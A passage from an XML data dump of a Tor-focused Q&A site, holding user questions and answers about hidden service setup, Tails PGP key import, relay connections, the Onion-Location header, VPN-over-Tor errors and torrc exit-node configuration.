overlay network for TCP.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;May 25 12:18:53 drago-VirtualBox tor[2667]: May 25 12:18:53.495 [notice] Tor 0.4.2.7 running on Linux with Libevent 2.1.11-stable, Ope&amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2667]: May 25 12:18:53.496 [notice] Tor can't help you if you use it wrong! Learn how to be safe &amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2667]: May 25 12:18:53.496 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-&amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2667]: May 25 12:18:53.496 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;May 25 12:18:53 drago-VirtualBox tor[2667]: May 25 12:18:53.506 [warn] /home/drago/hidden_service/ is not owned by this user (debian-t&amp;gt;&#xA;lines 1145-1178&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30292" LastEditorUserId="24966" LastEditDate="2020-06-02T17:08:36.890" LastActivityDate="2022-03-16T06:06:25.750" Title="Tor status Active: Failed" Tags="|connection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21266" PostTypeId="2" ParentId="21265" CreationDate="2020-05-27T21:33:24.647" Score="1" Body="&lt;p&gt;Your hidden service directory cannot be in a home directory as it's not allowed by the systemd service's security policy. Instead you can use the path &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt;, and make sure you set the owner to &lt;code&gt;debian-tor&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-27T21:33:24.647" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21267" PostTypeId="1" AcceptedAnswerId="21268" CreationDate="2020-05-27T23:07:06.400" Score="0" ViewCount="36" Body="&lt;p&gt;The following command line works both in Terminal and when called in a bash script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /home/user/Schreibtisch/Tor_FF/tor-browser_en-US/Browser/ &amp;amp;&amp;amp; TOR_FORCE_NET_CONFIG=0 ./start-tor-browser --allow-remote&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I put the command line in bash into a variable, I get an error message when using the variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;variable=&quot;cd /home/user/Schreibtisch/Tor_FF/tor-browser_en-US/Browser/ &amp;amp;&amp;amp; TOR_FORCE_NET_CONFIG=0 ./start-tor-browser --allow-remote&quot;&#xA;&#xA;$variable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Errormessage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd: Too many arguments.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2020-05-28T01:09:32.837" Title="Command line works in terminal but not in a variable under bash" Tags="|terminal|bash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21268" PostTypeId="2" ParentId="21267" CreationDate="2020-05-28T01:09:32.837" Score="1" Body="&lt;p&gt;You need to run it with &lt;code&gt;eval $variable&lt;/code&gt;, otherwise everything after &lt;code&gt;cd&lt;/code&gt; is passed as arguments to &lt;code&gt;cd&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-28T01:09:32.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21269" PostTypeId="1" CreationDate="2020-05-28T09:44:18.857" Score="0" ViewCount="334" Body="&lt;p&gt;I am not very experienced with web programming yet, so please excuse this question. I could not find much information about in the web so I decided to ask here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor by default blocks javascript. What other programming languages can I use to have functionality in my website? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, donations, buttons etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="28802" LastActivityDate="2022-01-03T18:04:10.567" Title="alternatives to javascript for tor websites?" Tags="|javascript|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21270" PostTypeId="1" CreationDate="2020-05-29T07:15:21.020" Score="0" ViewCount="83" Body="&lt;p&gt;I made my own hidden service using this guide: &lt;a href=&quot;https://medium.com/@ajphillips/how-to-create-your-own-tor-hidden-service-436bece8602f&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/@ajphillips/how-to-create-your-own-tor-hidden-service-436bece8602f&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything worked fine using the generated hostname I received during the process, now I made my own .onion link using mkp224o and I replaced the original hostname + key files with the ones I received from mkp224o however now when I try to connect to my .onion link (the new one) it says it cannot find the server.&lt;/p&gt;&#xA;" OwnerUserId="30348" LastActivityDate="2020-05-29T18:32:14.667" Title="Can't access hidden service after hostname switch" Tags="|network-configuration|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21273" PostTypeId="2" ParentId="21269" CreationDate="2020-05-29T22:43:24.100" Score="1" Body="&lt;p&gt;PHP is a popular choice. It runs entirely on the web server, but isn’t as flashy as JS. Like stated in the comment of your question though, JavaScript is not disabled by default.&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2020-05-29T22:43:24.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21274" PostTypeId="1" CreationDate="2020-05-30T03:39:25.137" Score="0" ViewCount="23162" Body="&lt;p&gt;i’m trying to import public pgp keys on tails but it’s suddenly not working? i used to copy the public key into the text editor, save it as an .asc file, then double click it. a little dialog box would come up saying it had been important and i would see the key on my gnuPG key ring. now when i do it, the dialog box still comes up but i don’t see they key in the key ring afterwards. i’ve also tried opening the text file with the import key, as well as copying and pasting into the passwords and keys window and clicking “import”. nothing works, please help! &lt;/p&gt;&#xA;" OwnerUserId="30356" LastActivityDate="2022-02-22T12:05:10.647" Title="can’t import public pgp keys on tails" Tags="|tails|key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21276" PostTypeId="2" ParentId="21274" CreationDate="2020-05-31T06:22:00.457" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Normally you should open a bug with tails, but this &lt;a href=&quot;https://gitlab.gnome.org/GNOME/seahorse-nautilus/-/issues/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug&lt;/a&gt; has already been opened and isn't fixed yet.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a terminal, go to where you saved the key and run the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;gpg --import your-key.asc&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-31T06:22:00.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21277" PostTypeId="1" CreationDate="2020-05-31T14:04:20.687" Score="1" ViewCount="333" Body="&lt;p&gt;Since I began running a relay several months ago, I'd occasionally see, using nyx, a recurring inbound connection from one particular Authority, along with its nickname, IP address, and flags. It would stay connected for just a few minutes each time I noticed it. Nothing odd about that. Authorities have been the only inbound connections I've seen. Yesterday, however, for the first time that I've noticed, inbound connections began showing up frequently that show no IP address or other data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;address: &amp;lt;scrubbed&amp;gt;:39384&#xA;locale: ?? &#xA;No consensus data found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I be concerned? Why would an Authority, if that is what they are, hide information?&lt;/p&gt;&#xA;" OwnerUserId="27997" LastActivityDate="2020-05-31T16:00:33.323" Title="Relay's consensus data scrubbed for inbound connections" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21278" PostTypeId="2" ParentId="21277" CreationDate="2020-05-31T16:00:33.323" Score="1" Body="&lt;p&gt;A relay should see many incoming connections from other relays and clients (if your relay has the guard flag). If in the past your relay was not receiving incoming connections, that suggests a configuration or firewall problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These connections are not hiding their IP addresses. Rather it is Nyx that hides the IP addresses if they are not in the consensus. This is to protect the privacy of the people who use your relay.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-31T16:00:33.323" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21280" PostTypeId="1" CreationDate="2020-06-01T10:21:28.957" Score="1" ViewCount="487" Body="&lt;p&gt;Is there a way to install Firefox Multi-Account Containers addon and/or other container-based extensions on Tor Browser? Or, case it's not possible, is there any good reason for that, like a security concern?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to install it I get an error saying the add-on cannot be installed because it's corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When out of Tor, containers are an important thing regarding privacy, as they allow certain websites to be kept contained, and different kinds of naviation (i.e. work &amp;amp; personal) to get separated cookies, sessions, etc. The reason I want it installed here is to be capable of logging into different kinds of sites without being tracked between them.&lt;/p&gt;&#xA;" OwnerUserId="30368" LastActivityDate="2022-04-28T22:03:58.100" Title="Firefox Multi-Account Containers on Tor" Tags="|security|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21284" PostTypeId="2" ParentId="21248" CreationDate="2020-06-03T17:32:56.433" Score="3" Body="&lt;p&gt;This is now possible in Tor Browser 9.5: &lt;a href=&quot;https://www.torproject.org/releases/tor-browser-95/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/releases/tor-browser-95/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the &lt;code&gt;Onion-Location&lt;/code&gt; HTTP header or add a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag to the HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/onion-location/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/advanced/onion-location/&lt;/a&gt; and &lt;a href=&quot;https://kushaldas.in/posts/onion-location-and-onion-names-in-tor-browser-9-5.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://kushaldas.in/posts/onion-location-and-onion-names-in-tor-browser-9-5.html&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To enable this, in Apache, you need a configuration line like below for your website’s configuration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header set Onion-Location &quot;http://your-onion-address.onion%{REQUEST_URI}s&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;Remember to enable rewrite module.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For nginx, add the following in your server configuration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_header Onion-Location http://&amp;lt;your-onion-address&amp;gt;.onion$request_uri;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-06-06T22:45:07.977" LastActivityDate="2020-06-06T22:45:07.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21286" PostTypeId="1" CreationDate="2020-06-04T00:21:05.800" Score="2" ViewCount="1011" Body="&lt;p&gt;I need VPN-over-Tor because I need to be able to access some websites that block access from Tor. As far as I know, the only other alternative is always using the unsafe browser for those websites, but that's really not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to follow this tutorial about VPN-over-Tor: &lt;a href=&quot;https://exposingtheinvisible.org/guides/vpn-over-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://exposingtheinvisible.org/guides/vpn-over-tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that tutorial still up to date? I can't find when it was written. It's very nicely written with a lot of details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to follow that tutorial, but when I try to run the script, it fails. The main problem seems to be that it fails connecting to the local tor proxy: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`TCP: connect to [AF_INET]`[`127.0.0.1:9053`](https://127.0.0.1:9053) `failed: Connection refused`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the full log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amnesia@amnesia:~$ sudo ~/Persistent/bin/vot.sh&#xA;&#xA;[sudo] password for amnesia:&#xA;&#xA;********************** reloading firewall to apply rules for VPN **********************&#xA;&#xA;​&#xA;&#xA;[....] Reloading ferm configuration (via systemctl): ferm.serviceJob for ferm.service failed.&#xA;&#xA;See &quot;systemctl status ferm.service&quot; and &quot;journalctl -xe&quot; for details.&#xA;&#xA;failed!&#xA;&#xA;​&#xA;&#xA;​&#xA;&#xA;********************** restarting Tor **********************&#xA;&#xA;​&#xA;&#xA;​&#xA;&#xA;​&#xA;&#xA;********************** waiting for Tor to be ready **********************&#xA;&#xA;​&#xA;&#xA;​&#xA;&#xA;​&#xA;&#xA;********************** starting OpenVPN **********************&#xA;&#xA;​&#xA;&#xA;*****************************************************************************************&#xA;&#xA;* remember: to use the VPN connection you MUST start software as user &quot;vpnuser&quot;, like *&#xA;&#xA;* &quot;sudo -u vpnuser MySoftware&quot; or &quot;gksu -u vpnuser MySoftware&quot; *&#xA;&#xA;* *&#xA;&#xA;* for software integrated in Tails be aware that it will be configured to use Tor proxy *&#xA;&#xA;* you'll need to reconfigure and/or user additional software *&#xA;&#xA;*****************************************************************************************&#xA;&#xA;​&#xA;&#xA;​&#xA;&#xA;Thu Apr 30 23:22:43 2020 OpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Feb 20 2019&#xA;&#xA;Thu Apr 30 23:22:43 2020 library versions: OpenSSL 1.1.1d 10 Sep 2019, LZO 2.10&#xA;&#xA;Thu Apr 30 23:22:59 2020 NOTE: starting with OpenVPN 2.1, '--script-security 2' or higher is required to call user-defined scripts or executables&#xA;&#xA;Thu Apr 30 23:22:59 2020 TCP/UDP: Preserving recently used remote address: [AF_INET]127.0.0.1:9053&#xA;&#xA;Thu Apr 30 23:22:59 2020 Attempting to establish TCP connection with [AF_INET]127.0.0.1:9053 [nonblock]&#xA;&#xA;Thu Apr 30 23:23:01 2020 TCP: connect to [AF_INET]127.0.0.1:9053 failed: Connection refused&#xA;&#xA;Thu Apr 30 23:23:01 2020 NOTE: chroot will be delayed because of --client, --pull, or --up-delay&#xA;&#xA;Thu Apr 30 23:23:01 2020 NOTE: UID/GID downgrade will be delayed because of --client, --pull, or --up-delay&#xA;&#xA;Thu Apr 30 23:23:01 2020 SIGUSR1[connection failed(soft),init_instance] received, process restarting&#xA;&#xA;Thu Apr 30 23:23:06 2020 NOTE: starting with OpenVPN 2.1, '--script-security 2' or higher is required to call user-defined scripts or executables&#xA;&#xA;Thu Apr 30 23:23:06 2020 TCP/UDP: Preserving recently used remote address: [AF_INET]127.0.0.1:9053&#xA;&#xA;Thu Apr 30 23:23:06 2020 Attempting to establish TCP connection with [AF_INET]127.0.0.1:9053 [nonblock]&#xA;&#xA;Thu Apr 30 23:23:08 2020 TCP: connect to [AF_INET]127.0.0.1:9053 failed: Connection refused&#xA;&#xA;Thu Apr 30 23:23:08 2020 SIGUSR1[connection failed(soft),init_instance] received, process restarting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help with getting this to work is super appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30382" LastActivityDate="2020-06-04T00:21:05.800" Title="VPN-over-Tor in Tails. How? It always fails for me" Tags="|tails|proxy|vpn|openvpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21288" PostTypeId="1" CreationDate="2020-06-04T12:32:02.770" Score="0" ViewCount="574" Body="&lt;p&gt;I am kinda happy that my Tor hidden service is/was running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after i turned off the PC, i decided to search my website on Tor Browser (on mobile phone), and the result said &quot;Server not found&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&#xA;-What might have gone wrong? &#xA;-Would it be a must, for my PC and Tor service running on ubuntu, before my website could be found on the Tor Browser? &lt;/p&gt;&#xA;" OwnerUserId="30292" LastActivityDate="2021-07-03T01:02:08.463" Title="Server Not Found" Tags="|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21289" PostTypeId="2" ParentId="21288" CreationDate="2020-06-04T13:16:48.677" Score="1" Body="&lt;p&gt;The computer running your hidden service must be running for it to be accessible. Small single-board computers like a Raspberry Pi are a relatively inexpensive way to run an always-on service (but they can't handle a lot of traffic at once). If you aren't worried about anonymity, some people also run their hidden service on a VPS which is much simpler to configure.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-04T13:16:48.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21294" PostTypeId="1" CreationDate="2020-06-06T19:20:20.617" Score="1" ViewCount="331" Body="&lt;p&gt;I'd like to know how to set up a SOCKSport on Tor Windows and how to create a SOCKS policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="30395" LastActivityDate="2020-06-06T19:20:20.617" Title="How to set up a SOCKSport?" Tags="|help|socks|torsocks|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21298" PostTypeId="1" CreationDate="2020-06-07T16:26:07.263" Score="1" ViewCount="4091" Body="&lt;p&gt;Yesterday, I accidentally pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt; and another key which I do not remember anymore. This triggered my Tor Browser to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/txxeH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/txxeH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of this grey bar at the bottom?&lt;/p&gt;&#xA;" OwnerUserId="22877" LastActivityDate="2021-10-17T22:13:45.970" Title="Cannot remove grey bar at bottom of Tor Browser" Tags="|tor-browser-bundle|configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21299" PostTypeId="2" ParentId="21298" CreationDate="2020-06-07T18:43:50.720" Score="1" Body="&lt;p&gt;This looks like Tor Browser's letterboxing feature: &lt;a href=&quot;https://support.torproject.org/tbb/maximized-torbrowser-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/maximized-torbrowser-window/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This probably happened when you resized the window. If you make the window slightly taller, the webpage should fill in the bottom section.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-07T18:43:50.720" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21300" PostTypeId="2" ParentId="20703" CreationDate="2020-06-09T22:55:41.537" Score="0" Body="&lt;p&gt;Tor has introduced a new HTTP response header for this purpose: &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/onion-location/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Onion-Location&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25193" LastActivityDate="2020-06-09T22:55:41.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21302" PostTypeId="1" CreationDate="2020-06-10T07:20:30.850" Score="0" ViewCount="210" Body="&lt;p&gt;Many users are using the TOR browser, and they are visiting my site. I am using some AdNetwork for monetization but they are not showing Ad if a user is vising my site through any proxy, VPN, or TOR browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I avoid it or what should I do in TOR so they can't identify me as a TOR user?&lt;/p&gt;&#xA;" OwnerUserId="30413" LastActivityDate="2022-04-08T01:06:00.493" Title="I don't want to identify myself as a TOR user" Tags="|tor-browser-bundle|configuration|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21303" PostTypeId="1" CreationDate="2020-06-10T12:35:28.050" Score="1" ViewCount="360" Body="&lt;p&gt;I've been trying to set exit nodes and obfs4 bridge(country blocking tor) into my torrc file but I can't find a recent post about that or any beginner friendly explanation. Can anyone provide me with how to set exit node and how to set an obfs4 bridge with an example?&lt;/p&gt;&#xA;" OwnerUserId="30416" LastActivityDate="2021-11-02T23:06:10.550" Title="The scary torrc" Tags="|configuration|bridge|client|blocked-services|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21305" PostTypeId="1" CreationDate="2020-06-10T13:32:16.290" Score="0" ViewCount="27" Body="&lt;p&gt;I really like the simplicity and the interface of the tor browser's configuration and connection step. Maybe it is not as simple as the terminal but after trying to configure I had to admit defeat. I can't access tor without a bridge and I've come to learn that it is difficult for a beginner to configure files. Is there any way to use the client of the browser without letting the actual browser open up? Client should start and ask me to configure or connect and after it is done the browser shouldn't start is there a way to do that?&lt;/p&gt;&#xA;" OwnerUserId="30416" LastActivityDate="2020-06-10T13:32:16.290" Title="Seperating the browser from the client" Tags="|tor-browser-bundle|configuration|bridge|connection|client|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21306" PostTypeId="1" CreationDate="2020-06-10T14:07:14.697" Score="0" ViewCount="209" Body="&lt;p&gt;I'm doing a presentation on Tor. Is it possible to capture and find keys and decrypt data.&lt;/p&gt;&#xA;" OwnerUserId="30418" LastEditorUserId="88" LastEditDate="2020-10-24T07:57:27.963" LastActivityDate="2020-10-24T07:57:27.963" Title="Is it possible to find encryption key in Tor Browser?" Tags="|relays|encryption|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21307" PostTypeId="2" ParentId="21306" CreationDate="2020-06-10T15:10:15.423" Score="1" Body="&lt;p&gt;If you're doing something like a presentation, paper, book, etc, it's best to 1. Ask the developers and contributors directly &lt;a href=&quot;https://www.torproject.org/contact/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/contact/&lt;/a&gt; and 2. Read the documentation for yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you open the Tor browser and connect to your favorite website anonymously. Tor Browser reaches out to a guard node. The guard sends the browser its &lt;strong&gt;public keys&lt;/strong&gt;. The packets are then encrypted with those keys and sends them off to the guard which then then sends them to the next node, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The browser does not ever get to see any &lt;strong&gt;private keys&lt;/strong&gt; and so there are none to be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also these links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorALaymansGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;Understanding and Using Tor - An Introduction for the Lay(wo)man&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/tor-weekly-news-july-10th-2013&quot; rel=&quot;nofollow noreferrer&quot;&gt;Theft Of Tor Relay Private Keys?&lt;/a&gt; (scroll down to find the&#xA;section)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-10T15:10:15.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21308" PostTypeId="2" ParentId="21302" CreationDate="2020-06-10T15:29:41.460" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how can I avoid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use a VPN if you want, but then you will be identified as a VPN user. Many companies record VPN IP addresses (it's easy to identify them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to use something a VPS and create your own VPN with it. It's much harder to see that you aren't a normal user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way will cost you money. A VPN is easy to use but a VPS is more difficult if you aren't computer savvy. If you use either, it's really easy for law enforcement or some other government agency to trace it back to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very difficult to be traced if you are using Tor, so you have to ask yourself if your anonymity is worth the annoyance of being seen as a Tor user.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what should I do in TOR so they can't identify me as a TOR user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't. If you use Tor, you will be using a Tor exit node and the website will see that.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-10T15:29:41.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21309" PostTypeId="2" ParentId="21303" CreationDate="2020-06-10T15:54:39.700" Score="1" Body="&lt;p&gt;First of all, backup your /etc/tor/torrc and revert to the original of something breaks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cp /etc/tor/torrc/ /etc/tor/torrc.backup&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the rest is in the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Exit nodes:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ExitNodes node,node,… A list of identity fingerprints, country codes,&#xA;  and address patterns of nodes to use as exit node---that is, a node&#xA;  that delivers traffic for you outside the Tor network. See the&#xA;  ExcludeNodes option for more information on how to specify nodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that if you list too few nodes here, or if you exclude too many&#xA;  exit nodes with ExcludeExitNodes, you can degrade functionality. For&#xA;  example, if none of the exits you list allows traffic on port 80 or&#xA;  443, you won’t be able to browse the web.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note also that not every circuit is used to deliver traffic outside of&#xA;  the Tor network. It is normal to see non-exit circuits (such as those&#xA;  used to connect to hidden services, those that do directory fetches,&#xA;  those used for relay reachability self-tests, and so on) that end at a&#xA;  non-exit node. To keep a node from being used entirely, see&#xA;  ExcludeNodes and StrictNodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The ExcludeNodes option overrides this option: any node listed in both&#xA;  ExitNodes and ExcludeNodes is treated as excluded.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The .exit address notation, if enabled via MapAddress, overrides this&#xA;  option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, add something liek the following into your torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes tor1.example.com,tor2.example.com,tor3.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bridges are already answered &lt;a href=&quot;https://tor.stackexchange.com/questions/3924/how-to-add-obfs3-bridges-in-torrc#6049&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-10T15:54:39.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21310" PostTypeId="1" CreationDate="2020-06-10T17:58:19.077" Score="0" ViewCount="1568" Body="&lt;p&gt;Sorry for the noob question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is facebook's onion url - facebookcorewwwi.onion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people want to use facebook anonymously, they can just use facebook with their tor browser right? Why does facebook have to have a onion site? My idea is only if fb want hide themselves, they should be having an onion site. But it is said that fb is running tor hidden service to give users anonymity. I don't undertand how the fb hidden service improves user's anonymity?&lt;/p&gt;&#xA;" OwnerUserId="30422" LastActivityDate="2023-02-21T14:45:50.643" Title="Why facebook have tor hidden service?" Tags="|onion-services|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21311" PostTypeId="2" ParentId="21310" CreationDate="2020-06-10T18:20:50.840" Score="0" Body="&lt;p&gt;Onion services aren't just about hiding things. They are about providing a platform for users who need to be anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact is that many countries block Facebook but Tor users are still able to access it via the onion service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Facebook's website &lt;a href=&quot;https://www.facebook.com/notes/protect-the-graph/making-connections-to-facebook-more-secure/1526085754298237/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.facebook.com/notes/facebook-over-tor/1-million-people-use-facebook-over-tor/865624066877648&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-10T18:20:50.840" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
